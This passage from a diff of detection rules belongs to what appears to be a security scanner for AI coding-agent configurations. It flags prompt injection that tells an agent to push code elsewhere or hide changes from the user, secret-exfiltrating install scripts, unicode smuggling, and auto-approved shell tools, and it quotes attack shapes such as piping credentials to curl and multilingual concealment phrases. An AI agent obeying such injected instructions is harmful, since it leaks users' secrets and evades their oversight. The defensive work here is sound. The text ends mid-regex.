# same list in Cline and Roo Code MCP settings (cline_mcp_settings.json,
|
|
10
|
+
# .roo/mcp.json).
|
|
11
|
+
json_path: "$..['autoApprove','alwaysAllow'][*]"
|
|
9
12
|
# Only tools that write, delete, execute or run shell commands are flagged.
|
|
10
13
|
# Read-only tools in autoApprove are fine.
|
|
11
14
|
value_regex: "(^\\*$|write|delete|remove|rm_|exec|run_|shell|terminal|command|bash|edit|create|move|rename|deploy|install)"
|
|
@@ -5,17 +5,26 @@ applies_to:
|
|
|
5
5
|
- mcp-config
|
|
6
6
|
- config
|
|
7
7
|
match:
|
|
8
|
-
#
|
|
9
|
-
#
|
|
10
|
-
json_path: "$..
|
|
11
|
-
|
|
12
|
-
#
|
|
13
|
-
#
|
|
14
|
-
|
|
8
|
+
# Every server entry of an MCP config: "mcpServers" (Claude Code, Cursor,
|
|
9
|
+
# Kiro, Claude Desktop) and "servers" (VS Code .vscode/mcp.json).
|
|
10
|
+
json_path: "$..['mcpServers','servers'].*"
|
|
11
|
+
# The package or image each entry runs (packages/core/src/package-pin.ts):
|
|
12
|
+
# npx, bunx, pnpx and uvx (flags such as -y, --package and --from are
|
|
13
|
+
# understood), pnpm dlx, yarn dlx, npm exec, pipx run and docker/podman run,
|
|
14
|
+
# also behind "bash -c" or "env X=1".
|
|
15
|
+
select: server-package
|
|
16
|
+
# Reported when that reference names no exact build: no version at all, a
|
|
17
|
+
# dist-tag (@latest, @next, @beta, @canary or any other word), a range (^1.2,
|
|
18
|
+
# ~1.2, 1.x, *, >=1, "1 || 2"), a Python specifier other than ==, or an image
|
|
19
|
+
# with no tag, a moving tag (:latest, :main, :nightly ...) and no digest.
|
|
20
|
+
# "pkg@1.2.3", "@scope/pkg@1.2.3-beta.1", "pkg==0.6", "image:1.4" and
|
|
21
|
+
# "image@sha256:..." are pinned. Local paths and URLs are not packages.
|
|
22
|
+
validate: unpinned-package
|
|
15
23
|
owasp:
|
|
16
24
|
- "ASI07 Supply Chain Vulnerabilities"
|
|
17
25
|
- "MCP04 Malicious MCP Package"
|
|
18
26
|
fix: >
|
|
19
|
-
Pin every MCP server to an exact version: replace `npx some-server`
|
|
20
|
-
`npx some-server@1.2.3
|
|
21
|
-
|
|
27
|
+
Pin every MCP server to an exact version: replace `npx some-server` or
|
|
28
|
+
`npx some-server@latest` with `npx some-server@1.2.3`, `uvx tool` with
|
|
29
|
+
`uvx tool==1.2.3`, and `image:latest` with `image@sha256:<digest>`. A tag or
|
|
30
|
+
range lets whoever publishes the package change the code your agent runs.
|
|
@@ -10,7 +10,8 @@ match:
|
|
|
10
10
|
# server package are kept (packages/core/src/known-packages.ts).
|
|
11
11
|
json_path: "$..mcpServers[?(@.command=='npx' || @.command=='bunx' || @.command=='uvx' || @.command=='pnpx')].args"
|
|
12
12
|
select: package-arg
|
|
13
|
-
|
|
13
|
+
# Letters outside ASCII are let through: a Cyrillic o (U+043E) in a scope is the look-alike attack (m20).
|
|
14
|
+
value_regex: "^@?[a-z0-9\\u00a0-\\uffff][a-z0-9\\u00a0-\\uffff._-]*(/[a-z0-9\\u00a0-\\uffff._-]+)?(@[0-9a-z.^~*-]+)?$"
|
|
14
15
|
validate: typosquat
|
|
15
16
|
owasp:
|
|
16
17
|
- "LLM03:2025 Supply Chain"
|
|
@@ -8,12 +8,15 @@ applies_to:
|
|
|
8
8
|
- memory
|
|
9
9
|
- hook
|
|
10
10
|
- tool-result
|
|
11
|
+
- manifest
|
|
11
12
|
match:
|
|
12
13
|
unicode_class:
|
|
13
14
|
- variation-selector # U+FE00-FE0F, U+E0100-E01EF
|
|
14
15
|
# A run of four or more variation selectors carries smuggled bytes. One or
|
|
15
16
|
# two are ordinary emoji presentation (a heart with U+FE0F) and are ignored.
|
|
16
17
|
min_run: 4
|
|
18
|
+
# Variation selectors written as escapes (\uDB40\uDD00...), four or more in a row (m20).
|
|
19
|
+
escapes: true
|
|
17
20
|
owasp:
|
|
18
21
|
- "LLM01:2025 Prompt Injection"
|
|
19
22
|
- "ASI03 Prompt Injection via External Content"
|
|
@@ -13,9 +13,10 @@ match:
|
|
|
13
13
|
# different repository. The sentence has to be plainly talking to the agent
|
|
14
14
|
# ("you must", "please", "silently", "before you continue", "to proceed")
|
|
15
15
|
# before the action, with no negation in between (the match starts at the
|
|
16
|
-
# cue so a quoted example is recognised).
|
|
16
|
+
# cue so a quoted example is recognised). m20: an ordinary word after `git push` ("git push after
|
|
17
|
+
# each iteration") is not a remote name. "Maintainers run `npm publish` to release" is a release
|
|
17
18
|
# process for people and is not flagged.
|
|
18
|
-
regex: '(?:\byou\s+(?:must|should|need\s+to|have\s+to|will|shall|are\s+to|can\s+now)\b|\bplease\b|\b(?:agent|assistant|ai|claude|kiro|copilot|cursor|llm|model)s?\s*[,:]|\b(?:the\s+)?(?:agent|assistant|ai|llm|model)\s+(?:must|should|needs?\s+to|has\s+to|will|shall)\b|\bsilently\b|\bquietly\b|\bwithout\s+(?:asking|telling|mentioning|informing|notifying)\b|\bbefore\s+(?:you|answering|continuing|responding|proceeding)\b|\bto\s+(?:continue|proceed|finish|complete)\b|\bimportant\s*:|\bnote\s+to\s+(?:the\s+)?(?:agent|ai|assistant)\b|\bnext\s*,?\s+step\b)(?:(?!\b(?:not|never|cannot|avoid|refrain|unable|forbidden|prohibited)\b|n[''’]t\b)[^.!?\n]){0,60}?(?:\bgit\s+push\b(?:\s+-{1,2}[\w-]+)*\s+(?!origin\b)(?:https?://|ssh://|git@|[A-Za-z][\w.-]*\s)|\bpush\b[^.!?\n]{0,40}?\bto\b[^\n]{0,20}?(?:https?://|ssh://|git@)|\bgit\s+remote\s+(?:add|set-url)\b|\badd\b[^.!?\n]{0,20}?\b(?:new|another|extra|second)\s+(?:git\s+)?remote\b|\b(?:npm|pnpm|yarn|bun|cargo|gem|twine)\s+(?:publish|upload|push)\b|\bpublish\b[^.!?\n]{0,30}?\b(?:package|crate|gem|module|library|build|release)\b|\b(?:npm|pnpm|yarn)\s+config\s+set\s+registry\b|\b(?:change|set|switch|point|replace|override|update)\b[^.!?\n]{0,40}?\b(?:npm|package|pip|cargo|gem|default)?\s*registry\b|--registry[=\s]|\bregistry\s*=\s*https?://|\bgh\s+pr\s+create\b[^\n]{0,80}?--repo\b|\b(?:open|create|file|submit|send|raise)\b[^.!?\n]{0,30}?\b(?:pull\s+request|PR)\b[^.!?\n]{0,30}?\b(?:against|to|on|in)\b[^.!?\n]{0,20}?\b(?:different|another|other|external|upstream|fork|attacker)\b)'
|
|
19
|
+
regex: '(?:\byou\s+(?:must|should|need\s+to|have\s+to|will|shall|are\s+to|can\s+now)\b|\bplease\b|\b(?:agent|assistant|ai|claude|kiro|copilot|cursor|llm|model)s?\s*[,:]|\b(?:the\s+)?(?:agent|assistant|ai|llm|model)\s+(?:must|should|needs?\s+to|has\s+to|will|shall)\b|\bsilently\b|\bquietly\b|\bwithout\s+(?:asking|telling|mentioning|informing|notifying)\b|\bbefore\s+(?:you|answering|continuing|responding|proceeding)\b|\bto\s+(?:continue|proceed|finish|complete)\b|\bimportant\s*:|\bnote\s+to\s+(?:the\s+)?(?:agent|ai|assistant)\b|\bnext\s*,?\s+step\b)(?:(?!\b(?:not|never|cannot|avoid|refrain|unable|forbidden|prohibited)\b|n[''’]t\b)[^.!?\n]){0,60}?(?:\bgit\s+push\b(?:\s+-{1,2}[\w-]+)*\s+(?!(?:origin|after|before|and|or|then|to|once|when|each|every|on|at|in|of|for|from|with|the|a|an|it|this|that|is|was|will|if|as|so|but|again|first|last|step|steps|changes|commits?|fails?|works?|succeeds?|command|commands|until|while|regularly|often|now|later)\b)(?:https?://|ssh://|git@|[A-Za-z][\w.-]*\s)|\bpush\b[^.!?\n]{0,40}?\bto\b[^\n]{0,20}?(?:https?://|ssh://|git@)|\bgit\s+remote\s+(?:add|set-url)\b|\badd\b[^.!?\n]{0,20}?\b(?:new|another|extra|second)\s+(?:git\s+)?remote\b|\b(?:npm|pnpm|yarn|bun|cargo|gem|twine)\s+(?:publish|upload|push)\b|\bpublish\b[^.!?\n]{0,30}?\b(?:package|crate|gem|module|library|build|release)\b|\b(?:npm|pnpm|yarn)\s+config\s+set\s+registry\b|\b(?:change|set|switch|point|replace|override|update)\b[^.!?\n]{0,40}?\b(?:npm|package|pip|cargo|gem|default)?\s*registry\b|--registry[=\s]|\bregistry\s*=\s*https?://|\bgh\s+pr\s+create\b[^\n]{0,80}?--repo\b|\b(?:open|create|file|submit|send|raise)\b[^.!?\n]{0,30}?\b(?:pull\s+request|PR)\b[^.!?\n]{0,30}?\b(?:against|to|on|in)\b[^.!?\n]{0,20}?\b(?:different|another|other|external|upstream|fork|attacker)\b)'
|
|
19
20
|
# A phrase in a passage that warns about it or quotes it as an example is not an order.
|
|
20
21
|
quoted_example_cues: '\b(?:such\s+as|e\.g\.|i\.e\.|for\s+(?:example|instance)|never|do\s+not|don''t|must\s+not|should\s+not|refuse|reject|treat|untrusted|inert|injection|jailbreak|adversarial|attack|malicious|hostile|crafted|hijack|red[- ]?team|detect|flag|block|strip|sanitiz|filter|pattern|phrase|cases?\b|example|quarantine|directive|look(?:s|ing)?\s+like|shaped)'
|
|
21
22
|
# A sentence that forbids the action is a defence ("never push to a different remote").
|
|
@@ -11,9 +11,12 @@ match:
|
|
|
11
11
|
# Source: https://code.visualstudio.com/docs/agents/run/approvals
|
|
12
12
|
# This is a map, so the finding quotes the key (json_path ends in ~), and it
|
|
13
13
|
# cannot share a path with the list forms of EX-033.
|
|
14
|
-
|
|
14
|
+
# Older VS Code builds named the same map chat.agent.terminal.allowList, and
|
|
15
|
+
# the Copilot Chat extension before that github.copilot.chat.agent.terminal.allowList
|
|
16
|
+
# (same shape: a command pattern mapped to true).
|
|
17
|
+
json_path: "$..[?(@property==='chat.tools.terminal.autoApprove' || @property==='chat.agent.terminal.allowList' || @property==='github.copilot.chat.agent.terminal.allowList')][?(@ === true || (@ && @.approve === true))]~"
|
|
15
18
|
value_regex: '^\s*(?:\*+|/\^?\.[*+]\$?/|\.\*|(?:sh|bash|zsh|fish|dash|ksh|cmd|powershell|pwsh|node|python[0-9.]*|perl|ruby|php|eval|exec|sudo|env|xargs|ssh|curl|wget|nc|npx)(?:\s+\*+)?|/\^?\(?(?:sh|bash|zsh)\b[^/]*/)\s*$'
|
|
16
|
-
file_regex: 'chat\.tools\.terminal\.autoApprove'
|
|
19
|
+
file_regex: 'chat\.tools\.terminal\.autoApprove|chat\.agent\.terminal\.allowList'
|
|
17
20
|
owasp:
|
|
18
21
|
- "ASI02 Inadequate Human-in-the-Loop Controls"
|
|
19
22
|
- "ASI05 Unexpected Code Execution"
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
id: EX-036
|
|
2
|
-
title:
|
|
2
|
+
title: Install or build script sends secrets out
|
|
3
3
|
severity: critical
|
|
4
4
|
applies_to:
|
|
5
5
|
- manifest
|
|
@@ -8,11 +8,30 @@ match:
|
|
|
8
8
|
# walked package.json. A script that a package manager runs by itself
|
|
9
9
|
# (preinstall, install, postinstall, prepare, prepublish, and the pre/post
|
|
10
10
|
# hook of any script such as pretest) is followed into the local file it runs
|
|
11
|
-
# (node x.js, sh x.sh, python x.py, ./x). It is reported
|
|
12
|
-
# holds both a secret source
|
|
13
|
-
#
|
|
14
|
-
#
|
|
15
|
-
#
|
|
11
|
+
# (node x.js, sh x.sh, python x.py, ./x). It is reported when ONE program
|
|
12
|
+
# (that file and the local files it imports) holds both a secret source and a
|
|
13
|
+
# sender, or when code hidden in an encoded string is decoded and run
|
|
14
|
+
# (node -e "new Function(atob('...'))", eval(Buffer.from(x, 'base64')),
|
|
15
|
+
# base64 -d | sh). Secret sources: .env, .npmrc, ~/.aws, ~/.ssh, a private key
|
|
16
|
+
# file, .netrc, .pypirc, .git-credentials (each only in code that reads files
|
|
17
|
+
# or runs commands), the whole of process.env serialised or sent
|
|
18
|
+
# (JSON.stringify({ e: process.env }), not spawn(..., { env: process.env })),
|
|
19
|
+
# and a credential variable put into a URL. Senders: http, https, fetch, a
|
|
20
|
+
# socket, curl or wget. A script that only builds, lints or starts a local
|
|
21
|
+
# server, reads .env and never sends, sends and reads no secret, or reads
|
|
22
|
+
# package.json and fetches a public file, is quiet. Required JSON files are
|
|
23
|
+
# data and are not read as code (m20-config field false alarm).
|
|
24
|
+
#
|
|
25
|
+
# The same check covers the install and build hooks of other ecosystems
|
|
26
|
+
# (packages/core/src/build-hooks.ts): setup.py, an in-tree PEP 517 backend or
|
|
27
|
+
# Hatch build hook named in pyproject.toml, the default/all/install/build
|
|
28
|
+
# targets of a Makefile (and what they depend on), binding.gyp actions,
|
|
29
|
+
# build.rs (or the build script Cargo.toml names), composer event scripts and
|
|
30
|
+
# the local PHP files they run, and Dockerfile RUN steps. A shell line counts
|
|
31
|
+
# only when the environment or a credentials file is the data a sender on the
|
|
32
|
+
# same line sends (env | curl -d @-, curl -T ~/.npmrc, cat ~/.aws/credentials
|
|
33
|
+
# | curl); curl --netrc-file ~/.netrc (logging in) and curl -o (a download)
|
|
34
|
+
# do not.
|
|
16
35
|
# Not a text pattern: the signature engine skips this rule.
|
|
17
36
|
analysis: lifecycle-scripts
|
|
18
37
|
owasp:
|
|
@@ -20,8 +39,9 @@ owasp:
|
|
|
20
39
|
- "LLM02:2025 Sensitive Information Disclosure"
|
|
21
40
|
- "ASI05 Sensitive Data Leakage"
|
|
22
41
|
fix: >
|
|
23
|
-
Do not
|
|
24
|
-
finding. A script like this runs when you (or your AI agent) install
|
|
25
|
-
|
|
26
|
-
computer with no instruction for the agent to obey. Remove the
|
|
27
|
-
remove the code
|
|
42
|
+
Do not install, build or test this project until you have read the code named
|
|
43
|
+
in the finding. A script like this runs when you (or your AI agent) install,
|
|
44
|
+
build or test the project, and it sends your environment, .env or credentials
|
|
45
|
+
to another computer with no instruction for the agent to obey. Remove the
|
|
46
|
+
script, or remove the code that reads secrets, sends data out or runs decoded
|
|
47
|
+
code.
|
|
@@ -23,6 +23,11 @@ match:
|
|
|
23
23
|
# counts only when an action verb stands earlier in the same paragraph (at
|
|
24
24
|
# most 300 characters back, no blank line between). A cheap lookahead on the
|
|
25
25
|
# first word keeps the look-behind off most of the text.
|
|
26
|
+
# m20 (field round 4): "silently create config" in a docstring, "could silently insert" in a
|
|
27
|
+
# changelog, "keep it quiet" about a noisy probe and "used to leave no trace at all" were false
|
|
28
|
+
# alarms. A bare "silently add/install ..." now counts only when it opens a sentence or a line (an
|
|
29
|
+
# order), "keep it quiet" is no longer concealment, and "leave no trace" needs "of it/this ..." or
|
|
30
|
+
# to end the sentence.
|
|
26
31
|
# Quiet on purpose:
|
|
27
32
|
# "do not mention it in release notes" (the pronoun must end the clause or
|
|
28
33
|
# be followed by "to the user")
|
|
@@ -32,7 +37,7 @@ match:
|
|
|
32
37
|
# concealment; only "do not ask the
|
|
33
38
|
# user." ending the sentence is)
|
|
34
39
|
# any sentence with no action verb before it in the paragraph.
|
|
35
|
-
regex: '(?:(?=\b(?:do|don|never|must|mustn|should|shouldn|shall|without|keep|hide)\b)(?<=\b(?:create|write|add|append|insert|edit|modify|change|update|replace|overwrite|delete|remove|rename|comment\s+out|skip|disable|mark|send|upload|post|forward|email|push|publish|commit|install|download|fetch|curl|run|execute|trust|whitelist|enable|set)(?:s|es|d|ed|ing)?\b(?:(?!\n[ \t]*\n)[\s\S]){0,300})(?:(?:do\s+not|don[''’]t|never|must\s+not|mustn[''’]t|should\s+not|shouldn[''’]t|shall\s+not)\s+(?:(?:ever|even|actually)\s+)?(?:(?:mention|tell|inform|notify|alert|warn|reveal|disclose|report|say|show)\s+(?:(?:it|this|that|these|those|them|any\s+of\s+(?:this|it|that))\b(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/)|\s+to\s+(?:the\s+|your\s+)?(?:user|human|developer|owner|operator|anyone|anybody)\b)|(?:the\s+|your\s+)?(?:user|human|developer|owner|operator|anyone|anybody)\b(?:\s+(?:about|of|regarding)\s+(?:it|this|that|these|them|any\s+of\s+(?:this|it|that))\b|(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/))))|(?:ask|bother|consult)\s+(?:the\s+|your\s+)?(?:user|human|developer|owner|operator)\b(?=\s*(?:[.!;)\]"''`]|\n|$|\*/))|(?:let|make)\s+(?:the\s+|your\s+)?(?:user|human|developer|owner|operator)\s+(?:know|aware|see|notice|find\s+out)\b)|without\s+(?:telling|informing|notifying|alerting|warning)\s+(?:the\s+|your\s+)?(?:user|human|developer|owner|operator|anyone)\b|keep\s+(?:this|it|that)\s+(?:a\s+)?(?:secret|hidden|quiet|between\s+us)\b(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/|\s+from\b))|hide\s+(?:this|it|that)\s+from\s+(?:the\s+)?(?:user|human|developer|owner|operator)\b|(?:do\s+not|don[''’]t|never|must\s+not|should\s+not)\s+(?:(?:ever|even|actually)\s+)?(?:mention|list|include|note|document|describe|report|record|log|disclose|reveal|call\s+out)\s+(?:it|this|that|these|them|the\s+(?:change|changes|addition|code|line|lines|call|helper|snippet|file|step))\s+(?:in|from|on|to)\s+(?:your|the|any)\s+(?:summary|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?)\b|without\s+(?:mentioning|listing|noting|documenting|reporting|describing|including)\s+(?:it|this|that|the\s+(?:change|changes|addition|code|call))\b)|(?:(?=\b(?:this|that|it|these|those|all|just|between|there|no|nobody|leave|keep|kept|omit|scrub|strip|erase|purge|do|don|never|must|mustn|should|shouldn|not|say|tell|mention|hide|the|users?|humans?|developers?|owners?|operators?|go|going|everything)\b)(?<=\b(?:create|write|add|append|insert|edit|modify|change|update|replace|overwrite|delete|remove|rename|comment\s+out|skip|disable|mark|send|upload|post|forward|email|push|publish|commit|install|download|fetch|curl|run|execute|trust|whitelist|enable|set)(?:s|es|d|ed|ing)?\b(?:(?!\n[ \t]*\n)[\s\S]){0,300})(?:(?:this|that|it|these|those|all\s+of\s+this)(?:\s+(?:changes?|edits?|steps?|files?))?\s+(?:stays?|remains?|should\s+stay|must\s+stay|is\s+to\s+stay)\s+(?:just\s+)?between\s+(?:us|you\s+and\s+me|me\s+and\s+you|the\s+two\s+of\s+us)\b|(?:just\s+)?between\s+(?:us|you\s+and\s+me|me\s+and\s+you|the\s+two\s+of\s+us)(?=\s*(?:[.!;,)\]"''`]|\n|$))|(?:there(?:[''’]s|\s+is)\s+)?no\s+need\s+to\s+(?:(?:mention|tell|say|report|flag|surface|note|log|document|list|include|disclose|reveal|inform|notify)\s+(?:(?:it|this|that|these|those|them)|(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody))|bring\s+(?:it|this|that|these|those|them)\s+up|let\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody)\s+know)\b(?:(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/))|\s+(?:to|with)\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody)\b|\s+(?:in|from|on)\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b|\s+about\s+(?:it|this|that|these|those|them)\b)|(?:leave|keep|kept)\s+(?:it|this|that|these|those|them)\s+out\s+(?:of|from)\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b|omit\s+(?:it|this|that|these|those|them)\s+from\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b|(?:scrub|strip|erase|purge)\s+(?:(?:it|this|that|these|those|them)|any\s+(?:mention|trace)s?\s+of\s+(?:it|this|that|these|those|them))\s+from\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b|leave\s+no\s+trace\b|(?:do\s+not|don[''’]t|never|must\s+not|mustn[''’]t|should\s+not|shouldn[''’]t)\s+(?:(?:ever|even|actually)\s+)?(?:bring\s+(?:it|this|that|these|those|them)\s+up(?:(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/))|\s+(?:to|with)\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody)\b|\s+(?:in|from|on)\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b)|breathe\s+a\s+word\b|(?:put|write|add|record|surface|flag|highlight|expose|log|file|list)\s+(?:it|this|that|these|those|them)\b(?:\s+(?:to|with)\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody)\b|\s+(?:in|from|on)\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b)|(?:tell|inform|notify|alert|warn)\s+(?:the\s+|your\s+)?(?:reviewers?|maintainers?|team|code\s+owners?)\b(?:(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/))|\s+(?:about|of)\s+(?:it|this|that|these|those|them)\b))|keep\s+(?:quiet|silent)\s+about\s+(?:it|this|that|these|those|them)\b|keep\s+(?:it|this|that|these|those|them)\s+(?:under\s+wraps|off\s+the\s+record|to\s+yourself|low[- ]key)\b|keep\s+(?:these|those|the)\s+(?:changes?|edits?|steps?|files?)\s+(?:quiet|secret|hidden|under\s+wraps|between\s+us)\b|(?:this|that|it|everything|all\s+of\s+this)\s+(?:is|stays?|remains?|should\s+stay|must\s+stay|goes)\s+off\s+the\s+record\b|(?:go|going)\s+off\s+the\s+record\b|not\s+a\s+word\s+(?:of\s+(?:this|it)|about\s+(?:it|this|that)|to\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody))\b|(?:say|tell|mention)\s+nothing\s+(?:about\s+(?:it|this|that)|to\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody))\b|hide\s+(?:(?:them|(?:these|those|the)\s+(?:changes?|edits?|files?|steps?|additions?))\s+from\s+(?:the|your|any)\s+(?:users?|humans?|developers?|owners?|operators?|reviewers?|review|summary|commit\s+messages?|diff|changelog|PR)|(?:it|this|that)\s+from\s+(?:the|your|any)\s+(?:reviewers?|review|summary|commit\s+messages?|diff|changelog|PR))\b|(?:the\s+)?(?:users?|humans?|developers?|owners?|operators?)\s+(?:does\s+not|doesn[''’]t|do\s+not|don[''’]t|needn[''’]t|need\s+not|will\s+not|won[''’]t|should\s+not|shouldn[''’]t)\s+(?:need\s+to\s+)?(?:know|see|hear)(?:\s+(?:about|of)\s+(?:it|this|that|these|those|them)\b|(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/)))|(?:nobody|no\s+one|no\s+human)\s+(?:needs|has|should\s+need)\s+to\s+(?:know|see|hear)(?:\s+(?:about|of)\s+(?:it|this|that)\b|(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/)))))|no\s+(?:se\s+lo\s+|le\s+|se\s+|lo\s+)?(?:digas|menciones|cuentes|informes|avises|reveles)\s+(?:esto\s+|eso\s+|nada\s+)?(?:al|a\s+el|a\s+la)\s+(?:usuari[oa]|desarrollador[a]?|humano)|sin\s+(?:avisar|informar|notificar|decirle|decírselo|decirselo)\s+(?:al|a\s+la)\s+usuari[oa]|mant[eé]n(?:lo|la)?\s+(?:esto\s+|eso\s+)?en\s+secreto|ne\s+(?:le\s+|la\s+|lui\s+|en\s+)?(?:dis|dites|mentionne|mentionnez|révèle|révélez|informe|informez|signale|signalez)\s+pas\s+(?:cela\s+|ça\s+|ceci\s+)?(?:à|a|au)\s+(?:l[''’]|la\s+|le\s+)?(?:utilisateur|développeur|developpeur|humain)|sans\s+(?:en\s+|le\s+|lui\s+)?(?:informer|avertir|prévenir|prevenir|dire|parler)\s+(?:à\s+|a\s+)?l[''’]utilisateur|gardez?\s+(?:cela|ça|ceci)\s+secret|(?:sag|sage|sagen\s+sie|erz[äa]hl|erz[äa]hle|erw[äa]hn|erw[äa]hne|informiere)\s+(?:es\s+|das\s+|dies\s+)?(?:dem|den)\s+(?:benutzer|nutzer|entwickler)n?\s+(?:nichts|nicht)|ohne\s+(?:den|dem)\s+(?:benutzer|nutzer|entwickler)n?\s+(?:zu\s+informieren|zu\s+benachrichtigen|bescheid\s+zu\s+sagen)|halte?\s+(?:das|dies|es)\s+geheim|n[ãa]o\s+(?:conte|diga|mencione|informe|avise|revele)\s+(?:isso\s+|isto\s+|nada\s+)?(?:ao|para\s+o)\s+(?:usu[áa]rio|utilizador|desenvolvedor)|sem\s+(?:avisar|informar|contar|dizer)\s+(?:ao|o)\s+(?:usu[áa]rio|utilizador)|mantenha\s+(?:isso|isto)\s+em\s+segredo|non\s+(?:dirlo|dirgli|dire|menzionarlo|menzionare|informare|avvisare|avvertire|rivelare)\s+(?:questo\s+|nulla\s+)?(?:all[''’]|al\s+|l[''’]|il\s+)(?:utente|sviluppatore)|senza\s+(?:dirlo|avvisare|informare|avvertire)\s+(?:all[''’]|l[''’])utente|tieni\s+(?:questo|ciò|cio)\s+segreto|(?:不要|别|切勿|请勿|勿)(?:告诉|告知|通知|提醒)(?:用户|使用者|开发者|人类)|瞒着用户|对用户保密|不要让用户知道|(?:不要|不能|勿)(?:向|对)(?:用户|使用者)(?:透露|提及|说明)|ユーザー(?:に|には|へ)(?:は)?(?:絶対に)?(?:言わ|伝え|知らせ|教え|報告し)(?:ない|ず|ません)|ユーザーに(?:は)?(?:内緒|秘密)|ユーザーに(?:気づか|知ら)れ(?:ない|ず)|사용자(?:에게|한테)(?:는)?\s*(?:말하지|알리지|알려주지)\s*(?:마|말|않)|사용자\s*몰래|사용자에게\s*(?:비밀|숨기)|не\s+(?:говори|говорите|сообщай|сообщайте|рассказывай|рассказывайте|упоминай|упоминайте)\s+(?:об\s+этом\s+|этого\s+|это\s+)?(?:пользовател[юя]|разработчик[уа])|без\s+(?:ведома|уведомления)\s+пользователя|держи(?:те)?\s+это\s+в\s+секрете|скрой(?:те)?\s+это\s+от\s+пользователя|(?<!(?:\bnot|\bnever|n[''’]t)\s+)\b(?:quietly|silently|secretly|covertly|discreetly)\s+(?:add|insert|inject|append|include|embed|put|install|create)\b)'
|
|
40
|
+
regex: '(?:(?=\b(?:do|don|never|must|mustn|should|shouldn|shall|without|keep|hide)\b)(?<=\b(?:create|write|add|append|insert|edit|modify|change|update|replace|overwrite|delete|remove|rename|comment\s+out|skip|disable|mark|send|upload|post|forward|email|push|publish|commit|install|download|fetch|curl|run|execute|trust|whitelist|enable|set)(?:s|es|d|ed|ing)?\b(?:(?!\n[ \t]*\n)[\s\S]){0,300})(?:(?:do\s+not|don[''’]t|never|must\s+not|mustn[''’]t|should\s+not|shouldn[''’]t|shall\s+not)\s+(?:(?:ever|even|actually)\s+)?(?:(?:mention|tell|inform|notify|alert|warn|reveal|disclose|report|say|show)\s+(?:(?:it|this|that|these|those|them|any\s+of\s+(?:this|it|that))\b(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/)|\s+to\s+(?:the\s+|your\s+)?(?:user|human|developer|owner|operator|anyone|anybody)\b)|(?:the\s+|your\s+)?(?:user|human|developer|owner|operator|anyone|anybody)\b(?:\s+(?:about|of|regarding)\s+(?:it|this|that|these|them|any\s+of\s+(?:this|it|that))\b|(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/))))|(?:ask|bother|consult)\s+(?:the\s+|your\s+)?(?:user|human|developer|owner|operator)\b(?=\s*(?:[.!;)\]"''`]|\n|$|\*/))|(?:let|make)\s+(?:the\s+|your\s+)?(?:user|human|developer|owner|operator)\s+(?:know|aware|see|notice|find\s+out)\b)|without\s+(?:telling|informing|notifying|alerting|warning)\s+(?:the\s+|your\s+)?(?:user|human|developer|owner|operator|anyone)\b|keep\s+(?:this|it|that)\s+(?:a\s+)?(?:secret|hidden|between\s+us)\b(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/|\s+from\b))|hide\s+(?:this|it|that)\s+from\s+(?:the\s+)?(?:user|human|developer|owner|operator)\b|(?:do\s+not|don[''’]t|never|must\s+not|should\s+not)\s+(?:(?:ever|even|actually)\s+)?(?:mention|list|include|note|document|describe|report|record|log|disclose|reveal|call\s+out)\s+(?:it|this|that|these|them|the\s+(?:change|changes|addition|code|line|lines|call|helper|snippet|file|step))\s+(?:in|from|on|to)\s+(?:your|the|any)\s+(?:summary|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?)\b|without\s+(?:mentioning|listing|noting|documenting|reporting|describing|including)\s+(?:it|this|that|the\s+(?:change|changes|addition|code|call))\b)|(?:(?=\b(?:this|that|it|these|those|all|just|between|there|no|nobody|leave|keep|kept|omit|scrub|strip|erase|purge|do|don|never|must|mustn|should|shouldn|not|say|tell|mention|hide|the|users?|humans?|developers?|owners?|operators?|go|going|everything)\b)(?<=\b(?:create|write|add|append|insert|edit|modify|change|update|replace|overwrite|delete|remove|rename|comment\s+out|skip|disable|mark|send|upload|post|forward|email|push|publish|commit|install|download|fetch|curl|run|execute|trust|whitelist|enable|set)(?:s|es|d|ed|ing)?\b(?:(?!\n[ 